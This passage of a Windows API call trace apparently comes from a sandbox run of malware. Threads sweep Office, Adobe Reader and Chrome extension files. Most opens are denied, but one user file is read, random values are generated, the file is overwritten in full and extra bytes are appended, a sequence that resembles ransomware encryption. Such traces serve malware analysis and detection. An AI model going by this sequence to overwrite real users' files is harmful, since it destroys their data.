(lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN103.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn103.xml")) returned 0x20 [0170.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN103.XML", dwFileAttributes=0x20) returned 0 [0170.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN103.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn103.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.625] GetLastError () returned 0x5 [0170.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN103.XML", dwFileAttributes=0x20) returned 0 [0170.625] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7b10) returned 1 Thread: id = 6138 os_tid = 0x314 [0170.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN105.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn105.xml")) returned 0x20 [0170.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN105.XML", dwFileAttributes=0x20) returned 0 [0170.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN105.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn105.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.454] GetLastError () returned 0x5 [0170.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN105.XML", dwFileAttributes=0x20) returned 0 [0170.454] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7b98) returned 1 Thread: id = 6139 os_tid = 0x668 [0170.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN107.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn107.xml")) returned 0x20 [0170.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN107.XML", dwFileAttributes=0x20) returned 0 [0170.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN107.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn107.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.453] GetLastError () returned 0x5 [0170.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN107.XML", dwFileAttributes=0x20) returned 0 [0170.453] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7c20) returned 1 Thread: id = 6140 os_tid = 0x680 [0170.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN108.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn108.xml")) returned 0x20 [0170.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN108.XML", dwFileAttributes=0x20) returned 0 [0170.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN108.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn108.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.451] GetLastError () returned 0x5 [0170.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN108.XML", dwFileAttributes=0x20) returned 0 [0170.452] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7ca8) returned 1 Thread: id = 6173 os_tid = 0x16b8 [0170.303] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\dynamic.pdf")) returned 0x20 [0170.848] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Dynamic.pdf", dwFileAttributes=0x20) returned 0 [0170.848] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\dynamic.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.848] GetLastError () returned 0x5 [0170.848] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Dynamic.pdf", dwFileAttributes=0x20) returned 0 [0170.848] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c7ac0) returned 1 Thread: id = 6174 os_tid = 0x16bc [0170.305] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\faces.pdf")) returned 0x20 [0170.849] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Faces.pdf", dwFileAttributes=0x20) returned 0 [0170.849] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\faces.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.849] GetLastError () returned 0x5 [0170.849] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Faces.pdf", dwFileAttributes=0x20) returned 0 [0170.849] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9828) returned 1 Thread: id = 6175 os_tid = 0x16c0 [0170.306] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\pointers.pdf")) returned 0x20 [0170.637] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Pointers.pdf", dwFileAttributes=0x20) returned 0 [0170.637] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\pointers.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.637] GetLastError () returned 0x5 [0170.637] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Pointers.pdf", dwFileAttributes=0x20) returned 0 [0170.637] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ba1d8) returned 1 Thread: id = 6176 os_tid = 0x16c4 [0170.306] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\signhere.pdf")) returned 0x20 [0170.635] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\SignHere.pdf", dwFileAttributes=0x20) returned 0 [0170.636] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\signhere.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.636] GetLastError () returned 0x5 [0170.636] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\SignHere.pdf", dwFileAttributes=0x20) returned 0 [0170.636] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b9a08) returned 1 Thread: id = 6177 os_tid = 0x16c8 [0170.307] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standard.pdf")) returned 0x20 [0170.634] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Standard.pdf", dwFileAttributes=0x20) returned 0 [0170.634] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standard.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.634] GetLastError () returned 0x5 [0170.634] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Standard.pdf", dwFileAttributes=0x20) returned 0 [0170.635] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bb6f0) returned 1 Thread: id = 6178 os_tid = 0x16cc [0170.307] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standardbusiness.pdf")) returned 0x20 [0170.850] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\StandardBusiness.pdf", dwFileAttributes=0x20) returned 0 [0170.850] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\standardbusiness.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.850] GetLastError () returned 0x5 [0170.850] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\StandardBusiness.pdf", dwFileAttributes=0x20) returned 0 [0170.851] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd4c8) returned 1 Thread: id = 6231 os_tid = 0x1838 [0170.469] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\dynamic.pdf")) returned 0x20 [0170.469] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Dynamic.pdf", dwFileAttributes=0x20) returned 0 [0170.469] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\dynamic.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.469] GetLastError () returned 0x5 [0170.469] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Dynamic.pdf", dwFileAttributes=0x20) returned 0 [0170.469] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c7940) returned 1 Thread: id = 6232 os_tid = 0x183c [0170.470] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\faces.pdf")) returned 0x20 [0170.471] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Faces.pdf", dwFileAttributes=0x20) returned 0 [0170.471] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\faces.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.471] GetLastError () returned 0x5 [0170.471] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Faces.pdf", dwFileAttributes=0x20) returned 0 [0170.471] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6680) returned 1 Thread: id = 6233 os_tid = 0x1840 [0170.479] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\pointers.pdf")) returned 0x20 [0170.480] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Pointers.pdf", dwFileAttributes=0x20) returned 0 [0170.480] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\pointers.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.480] GetLastError () returned 0x5 [0170.480] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Pointers.pdf", dwFileAttributes=0x20) returned 0 [0170.480] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4baa70) returned 1 Thread: id = 6234 os_tid = 0x1844 [0170.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.h")) returned 0x20 [0174.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", dwFileAttributes=0x20) returned 0 [0174.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.267] GetLastError () returned 0x5 [0174.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.H", dwFileAttributes=0x20) returned 0 [0174.267] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0380) returned 1 Thread: id = 6235 os_tid = 0x1848 [0170.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.ini")) returned 0x20 [0174.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", dwFileAttributes=0x20) returned 0 [0174.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlperf.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.265] GetLastError () returned 0x5 [0174.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", dwFileAttributes=0x20) returned 0 [0174.266] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51160) returned 1 Thread: id = 6247 os_tid = 0x18f8 [0170.652] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json")) returned 0x2020 [0171.469] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json", dwFileAttributes=0x20) returned 1 [0171.469] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16e0 [0171.470] GetFileSizeEx (in: hFile=0x16e0, lpFileSize=0x38dfdc4 | out: lpFileSize=0x38dfdc4*=705) returned 1 [0171.470] SetFilePointerEx (in: hFile=0x16e0, liDistanceToMove=0x2bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.470] ReadFile (in: hFile=0x16e0, lpBuffer=0x38dfd48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x38dfd44, lpOverlapped=0x0 | out: lpBuffer=0x38dfd48*, lpNumberOfBytesRead=0x38dfd44*=0x4, lpOverlapped=0x0) returned 1 [0171.471] SetFilePointerEx (in: hFile=0x16e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.471] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aefb0 [0171.471] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aee70 [0171.471] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aef38 [0171.471] NtQuerySystemTime (in: CurrentTime=0x38dfd24 | out: CurrentTime=0x38dfd24*=132174899460610000) returned 0x0 [0171.471] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x696ba13 [0171.471] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x909da0d [0171.471] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x32271bd7 [0171.471] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x58acc43 [0171.471] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x56c38418 [0171.471] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x35fc6471 [0171.471] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x1d1b1129 [0171.471] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0xe1c36bf [0171.471] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x18327f0a [0171.471] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0xdccd661 [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x4c73110c [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x2ce9369 [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x9fd593c [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x2e0bb735 [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x1dceb4a8 [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x3e620d41 [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x7680a002 [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x5997a6ec [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x2726b6e4 [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x650c5642 [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x6a4489e [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x4d79a261 [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x701f2ed6 [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x27fb3115 [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x6f60c4d5 [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x2b7b8fd1 [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x229b8cc4 [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x15347240 [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x2042654 [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x2c353da0 [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0xd2d6f8d [0171.472] RtlRandomEx (in: Seed=0x38dfd30 | out: Seed=0x38dfd30) returned 0x4c2fb98a [0171.483] ReadFile (hFile=0x16e0, lpBuffer=0xd505078, nNumberOfBytesToRead=0x2c1, lpNumberOfBytesRead=0x38dfd20, lpOverlapped=0x0) [0171.483] SetFilePointerEx (in: hFile=0x16e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.483] WriteFile (in: hFile=0x16e0, lpBuffer=0xd511880*, nNumberOfBytesToWrite=0x2c1, lpNumberOfBytesWritten=0x38dfd1c, lpOverlapped=0x0 | out: lpBuffer=0xd511880*, lpNumberOfBytesWritten=0x38dfd1c*=0x2c1, lpOverlapped=0x0) returned 1 [0172.241] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9878 [0172.241] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9b20 [0172.241] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9b20) returned 1 [0172.241] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd511880) returned 1 [0172.248] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd505078) returned 1 [0172.251] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8968) returned 1 [0172.251] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d26b0) returned 1 [0172.251] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d87a8 [0172.251] SetFilePointerEx (in: hFile=0x16e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.251] WriteFile (in: hFile=0x16e0, lpBuffer=0x12cf51a8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x38dfd84, lpOverlapped=0x0 | out: lpBuffer=0x12cf51a8*, lpNumberOfBytesWritten=0x38dfd84*=0x10b, lpOverlapped=0x0) returned 1 [0173.388] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf51a8) returned 1 [0173.388] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8898) returned 1 [0173.388] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9b20) returned 1 [0173.388] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d87a8) returned 1 [0173.388] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9878) returned 1 [0173.388] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee70) returned 1 [0173.389] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aef88) returned 1 [0173.389] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af4b0) returned 1 [0173.389] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x180) returned 0x8f6b18 [0173.389] wcscpy (in: _Dest=0x8f6b18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json" [0173.389] wcscat (in: _Dest=0x8f6b18, 